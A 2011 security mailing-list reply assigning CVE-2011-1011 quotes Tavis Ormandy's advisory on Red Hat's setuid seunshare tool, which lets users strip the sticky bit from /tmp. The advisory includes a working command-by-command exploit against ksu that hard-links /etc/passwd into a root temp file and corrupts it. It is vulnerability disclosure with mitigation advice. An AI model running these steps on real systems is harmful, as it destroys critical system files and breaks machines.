Re: CVE Request

[Eugene Teo <eugene () redhat com>]

On 02/23/2011 09:33 AM, Kurt Seifried wrote:
> Can we get a CVE # for this please and thank you.

Use CVE-2011-1011.

Eugene

> -Kurt
>
> From:   Tavis Ormandy           2/22/11 6:01 PM                 
> To:     full-disclosure () lists grok org uk
> Subject:        [Full-disclosure] Developers should not rely on the
> stickiness of/tmp on Red Hat Linux
> Developers should not rely on the stickiness of /tmp on Red Hat Linux
> ---------------------------------------------------------------------
>
> Recent versions of Red Hat Enterprise Linux and Fedora provide seunshare, a
> setuid root utility from policycore-utils intended to make new filesystem
> namespaces available to unprivileged processes for the purpose of sandboxing.
>
> The intention is to permit unprivileged users to mount a new temporary
> directory on /home and /tmp for sandboxed processes, thus preventing
> access to the contents of the original directories in the event of a
> compromise.
>
> One unintended side effect of making these features available to unprivileged
> processes is that users can now change how setuid applications perceive /tmp
> and /home.
>
> The purpose of this advisory is to inform developers and system administrators
> of affected systems that unprivileged users can effectively remove the
> sticky-bit from the system /tmp directory, and thus relying on the stickiness
> of /tmp on redhat systems is no longer safe.
>
> This advisory is intended for system administrators and developers of
> Red Hat Linux systems; journalists, end users and other non-technical
> readers do not need to be concerned.
>
> --------------------
> Affected Software
> ------------------------
>
> All known versions of policycore-utils are affected.
>
> I discussed the potentially dangerous implications of introducing this change
> with Red Hat Security in September 2010, but FC14 and RHEL6 still exhibit this
> behaviour post-launch.
>
> --------------------
> Consequences
> -----------------------
>
> A simple example of a common application that is now unsafe is ksu, from the
> krb5 distribution. ksu creates a temporary file in /tmp, then clears it on
> authentication failure.
>
> This is normally a safe operation, as /tmp is protected by the sticky bit.
>
> However, we can use seunshare to interfere with this process.
>
> # create a new directory that we control
> $ mkdir /tmp/seunshare
>
> # use seunshare to mount it on /tmp and /home and run our setuid root binary
> $ seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu`
> root&>/dev/null&
> [1]+ Stopped seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ --
> `which ksu` root
>
> # we can examine the mounts visible to the process using the /proc interface
> $ grep /tmp /proc/$(pidof ksu)/mountinfo
> 66 64 1:1 /tmp/seunshare /tmp
>
> # here is the temporary file created by ksu during authentication
> $ ls -l /tmp/seunshare/
> total 4.0K
> -rw-------. 1 root taviso 35 Feb 18 23:21 krb5cc_0.1
>
> # as we own the directory, and the sticky-bit is not set, we are permitted to
> # unlink files
> $ rm -f /tmp/seunshare/krb5cc_0.1
>
> # now we can replace the file with a link
> $ ln /etc/passwd /tmp/seunshare/krb5cc_0.1
>
> # make ksu authentication fail.
> $ fg
> seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root
>
> And /etc/passwd was damaged, thus breaking the system.
>
> -------------------
> Credit
> -----------------------
>
> This bug was discovered by Tavis Ormandy.
>
> -------------------
> Greetz
> -----------------------
>
> Thanks to Kees, Hawkes, Dan and Julien for their help. Greetz to everyone in
> $1$kk1q85Xp$Id.gAcJOg7uelf36VQwJQ/, and all my other elite friends and
> colleagues.
>
> -------------------
> Notes
> -----------------------
>
> Although only an example of damaging a system has been provided, it's
> reasonable to assume that various applications rely on the stickiness of
> /tmp to prevent code execution.
>
> Administrators are advised to remove the setuid bit from seunshare, or
> restrict access to it.
>
> -------------------
> References
> -----------------------
>
> None.


--
Eugene Teo / Red Hat Security Response Team